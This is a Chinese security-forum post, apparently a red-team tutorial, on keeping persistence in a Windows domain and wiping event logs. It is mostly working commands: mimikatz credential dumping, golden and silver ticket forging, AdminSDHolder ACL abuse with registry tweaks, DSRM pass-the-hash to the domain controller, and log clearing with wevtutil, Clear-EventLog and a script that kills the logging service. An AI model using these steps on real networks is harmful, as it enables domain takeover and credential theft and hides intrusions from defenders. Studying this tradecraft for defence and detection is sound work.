安全矩阵

 找回密码
 立即注册
搜索
查看: 2307|回复: 0

内网渗透|域内持久化与Windows日志删除

[复制链接]

221

主题

233

帖子

792

积分

高级会员

Rank: 4

积分
792
发表于 2021-8-15 12:27:10 | 显示全部楼层 |阅读模式
内网渗透|域内持久化与Windows日志删除原创 11ccaab HACK学习呀 昨天
收录于话题
#windows2
#内网渗透19
#权限维持4
0x01 金票可以使用krbtgt的NTLM hash创建作为任何用户的有效TGT。要伪造黄金票据的前提是知道域的SID和krbtgt账户的hash或者AES-256值。
1.1 收集krbtgt密码信息
  1. privilege::debug
  2. lsadump::lsa /inject /name:krbtgt
复制代码



得到krbtgt的hash:
​​
c73caed3bc6f0a248e51d37b9a8675fa
​​ 域sid值:
S-1-5-21-151877218-3666268517-4145415712
1.2 金票利用使用mimikatz伪造kerberos票证
生成gold.kribi
  1. mimikatz "kerberos::golden /domain:redteam.local /sid:S-1-5-21-151877218-3666268517-4145415712
  2. /krbtgt:c73caed3bc6f0a248e51d37b9a8675fa /user:administrator
  3. /ticket:gold.kirbi"
复制代码



可以看到没有任何票证。
导入gold.kribi
kerberos::ptt C:\Users\jack\Desktop\gold.kirbi

成功导入administrator票据。

可以通过事件管理器查看到是以administrator来登录的

0x02 银票如果我们拥有服务的hash,就可以给自己签发任意用户的TGS票据。金票是伪造TGT可用于访问任何Kerberos服务,而银票是伪造TGS,仅限于访问针对特定服务器的任何服务。
这里使用CIFS服务,该服务是windows机器之间的文件共享。
2.1 获取sidwhoami /user

2.2 导出服务账号的NTLM Hash
  1. privilege::Debug
  2. sekurlsa::logonpasswords
复制代码



2.3 创建银票

kerberos::golden /domain:redteam.local/sid:S-1-5-21-151877218-3666268517-4145415712/targetC.redteam.local/service:cifs /rc4:0703759771e4bed877ecd472c95693a5/user:administrator /ptt

psexec获取DC机器cmd

0x03 AdminSDHolder组AdminSDHolder是一个特殊的AD容器,具有一些默认安全权限,用作受保护AD账户和组的模板,当我们获取到域控权限,就可以通过授予该用户对容器进行滥用,使该用户成为域管。
默认情况下,该组的 ACL 被复制到所有“受保护组”中。这样做是为了避免有意或无意地更改这些关键组。但是,如果攻击者修改了AdminSDHolder组的 ACL,例如授予普通用户完全权限,则该用户将拥有受保护组内所有组的完全权限(在一小时内)。如果有人试图在一小时或更短的时间内从域管理员中删除此用户(例如),该用户将回到组中。
  1. 在server2000中引入,默认包含如下的组:
  2. Administrators
  3. DomainAdmins
  4. AccountOperators
  5. BackupOperators
  6. DomainControllers
  7. EnterpriseAdmins
  8. PrintOperators
  9. Replicator
  10. Read-only DomainControllers
  11. SchemaAdmins
  12. ServerOperators
复制代码
​其中Administrators、Domain Admins、Enterprise Admins组对AdminSDHolder上的属性具有写权限,受保护的ad账户和组的具备admincount属性值为1的特征。

3.1 使用powerview查询查询ad保护的域的用户
Get-NetUser-AdminCount|select samaccountname

查询域中受ad保护的所有组
Get-netgroup -AdminCount| select name

3.2 使用ActiveDirectory查询ad保护的域中所有的用户和组
  1. Import-ModuleActiveDirectory
  2. Get-ADObject-LDAPFilter"(&(admincount=1)(|(objectcategory=person)(objectcategory=group)))"|select name
复制代码



3.3 添加用户添加jack用户对其有完全控制权限。
Add-DomainObjectAcl-TargetIdentityAdminSDHolder-PrincipalIdentity jack -RightsAll
然后验证下,这里的sid为jack用户的。
  1. Get-DomainObjectAcl adminsdholder | ?{$_.SecurityIdentifier-match "S-1-5-21-15187721
  2. 8-3666268517-4145415712-1106"} | select objectdn,ActiveDirectoryRights |sort -Unique
复制代码




默认会等待60分钟,可以通过修改注册表来设置为60秒后触发。
reg add hklm\SYSTEM\CurrentControlSet\Services\NTDS\Parameters /v AdminSDProtectFrequency/t REG_DWORD /d 1/f

3.4 恢复恢复触发时间
reg add hklm\SYSTEM\CurrentControlSet\Services\NTDS\Parameters /v AdminSDProtectFrequency/t REG_DWORD /d 120/f
取消jack用户对adminSDHolder的权限
Remove-DomainObjectAcl-TargetSearchBase"LDAP://CN=AdminSDHolder,CN=System,DC=redteam,DC=local"-PrincipalIdentity jack -RightsAll-Verbose

0x04 DSRM凭证每个DC内部都有一个本地管理员账户,在该机器上拥有管理员权限。
4.1 获取本地管理员hash
  1. token::elevate
  2. lsadump::sam
复制代码



得到hash为:
852a844adfce18f66009b4f14e0a98de
4.2 检查是否工作如果注册表项的值为0或者不存在,需要将其设置为2。
检查key是否存在并且获取值:
Get-ItemProperty"HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA"-name DsrmAdminLogonBehavior
如果不存在则创建值为2的键:
New-ItemProperty"HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA"-name DsrmAdminLogonBehavior-value 2-PropertyType DWORD
如果存在但是不为2设置为2:
Set-ItemProperty"HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA"-name DsrmAdminLogonBehavior-value 2

4.3 PTH域控sekurlsa::pth /domainC /user:Administrator/ntlm:852a844adfce18f66009b4f14e0a98de/run:powershell.exe

0x05 规避Windows 事件日志记录在做完一些渗透测试清理痕迹是很有必要的一个环节,包括在一些渗透还未结束也要清理掉一些操作日志。在情报收集反溯源等等大多都是采用windows事件日志中。
5.1 查看windows日志5.1.1 事件管理器

5.1.2 powershell
管理员权限运行查看安全类别的日志:
Get-WinEvent-FilterHashtable@{logname="security";}

5.2 windows日志清除方法5.2.1 wevtutil.exe统计日志列表数目信息等:
  1. wevtutil.exe gli Application
  2. wevtutil.exe gli Security
复制代码




查询指定类别的(这里以security举例):
wevtutil qe Security/f:text

删除指定类别:
wevtutil cl security

原本大量日志信息



但是会留下一个事件id为1102的日志清除日志
5.2.2 powershell清除日志查看指定事件id:
Get-EventLogSecurity-InstanceId4624,4625

删除指定类别日志:
Clear-EventLog-LogNameSecurity

5.2.3 Phantom脚本该脚本可以让日志功能失效,无法记录。他会遍历日志进程的线程堆栈来终止日志服务线程。
添加一个用户可以看到产生了日志

我们再给删除

运行ps1脚本:

再次添加用户查看日志:
​​


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 12:41 , Processed in 0.015652 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表